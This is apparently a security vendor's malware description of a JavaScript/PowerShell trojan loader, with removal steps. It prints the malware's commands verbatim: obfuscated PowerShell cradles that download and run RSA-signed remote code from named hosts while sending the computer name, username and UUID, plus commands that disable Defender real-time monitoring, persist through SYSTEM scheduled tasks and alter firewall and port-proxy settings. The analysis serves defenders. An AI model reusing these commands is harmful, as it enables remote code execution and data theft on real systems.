PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 4,536 bytes
File Type: JS
Memory Resident: Yes
Initial Samples Received Date: 04 Jun 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • "%System%\cmd.exe" /c powershell -w hidden IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString('h{BLOCKED}t{BLOCKED}tp://{BLOCKED}t.amy'+'nx.com/7p.php?0.8*usb_js*{username}*{computername}*'+[Environment]::OSVersion.version.Major);bpu ('h{BLOCKED}t{BLOCKED}tp://{BLOCKED}t.amy'+'nx.com/usb.jsp?js_0.8')
  • "%System%\cmd.exe" /c echo Set-MpPreference -DisableRealtimeMonitoring 1
  • "%System%\schtasks.exe" /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr blackball
  • "%System%\schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn \VF658RD /F /tr "powershell -w hidden -c PS_CMD"
  • "%System%\schtasks.exe" /run /tn \VF658RD
  • "%System%\schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn OsXjefm8\uwyPrXUWC /F /tr "powershell -w hidden -c PS_CMD"
  • "%System%\schtasks.exe" /run /tn OsXjefm8\uwyPrXUWC
  • "%System%\schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\0trikY7GU\rDZQPisYojT /F /tr "powershell -w hidden -c PS_CMD"
  • "%System%\schtasks.exe" /run /tn MicroSoft\Windows\0trikY7GU\rDZQPisYojT
  • "%System%\schtasks.exe" /delete /tn Rtsa2 /F
  • "%System%\schtasks.exe" /delete /tn Rtsa1 /F
  • "%System%\schtasks.exe" /delete /tn Rtsa /F
  • "%System%\cmd.exe" /c netsh.exe firewall add portopening tcp 65529 SDNSd
  • "%System%\netsh.exe" interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
  • "%System%\netsh.exe" advfirewall firewall add rule name=deny445 dir=in protocol=tcp localport=445 action=block
  • "%System%\netsh.exe" advfirewall firewall add rule name=deny135 dir=in protocol=tcp localport=135 action=block
  • taskeng.exe {0BDF1981-81AC-401B-9171-F1CC787BAF39} S-1-5-18:NT AUTHORITY\System:Service:
  • %System%\WindowsPowerShell\v1.0\powershell.EXE -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.zer'+'9g.com';a($url+'/a.jsp?usb_20200203?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
  • %System%\WindowsPowerShell\v1.0\powershell.EXE -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.amy'+'nx.com';a($url+'/a.jsp?usb_20200203?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
  • "%System Root%\Program Files\Windows Media Player\wmpnetwk.exe"
  • %System%\svchost.exe -k LocalServiceAndNoImpersonation

Other System Modifications

This Trojan deletes the following files:

  • %Windows%\Tasks\blackball.job
  • %Windows%\Tasks\VF658RD.job
  • %Windows%\Tasks\Rtsa2.job
  • %Windows%\Tasks\Rtsa.job
  • %Windows%\Tasks\Rtsa1.job

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It adds the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\PortProxy\v4tov4\
tcp\*
65529 = "1.1.1.1/53"

Dropping Routine

This Trojan drops the following files:

  • %All Users Profile%\Microsoft\Windows\DRM\v3ks.sec
  • %AppDataLocal%\Microsoft\Media Player\CurrentDatabase_372.wmdb
  • %All Users Profile%\Microsoft\Windows\DRM\drmstore.hds

(Note: %All Users Profile% is the common user's profile folder, which is usually C:\Documents and Settings\All Users on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit). . %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

This report is generated via an automated analysis system.

  SOLUTION

Minimum Scan Engine: 9.850

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Identify and terminate files detected as Trojan.JS.POWLOAD.WEIPY

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 3

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PortProxy\v4tov4\tcp\*
    • 65529 = "1.1.1.1/53"

Step 4

Search and delete these components

[ Learn More ]
There may be some components that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %All Users Profile%\Microsoft\Windows\DRM\v3ks.sec
  • %AppDataLocal%\Microsoft\Media Player\CurrentDatabase_372.wmdb
  • %All Users Profile%\Microsoft\Windows\DRM\drmstore.hds

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.JS.POWLOAD.WEIPY. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 6

Restore this file from backup only Microsoft-related files will be restored. If this malware/grayware also deleted files related to programs that are not from Microsoft, please reinstall those programs on you computer again.

  • %Windows%\Tasks\blackball.job
  • %Windows%\Tasks\VF658RD.job
  • %Windows%\Tasks\Rtsa2.job
  • %Windows%\Tasks\Rtsa.job
  • %Windows%\Tasks\Rtsa1.job


Did this description help? Tell us how we did.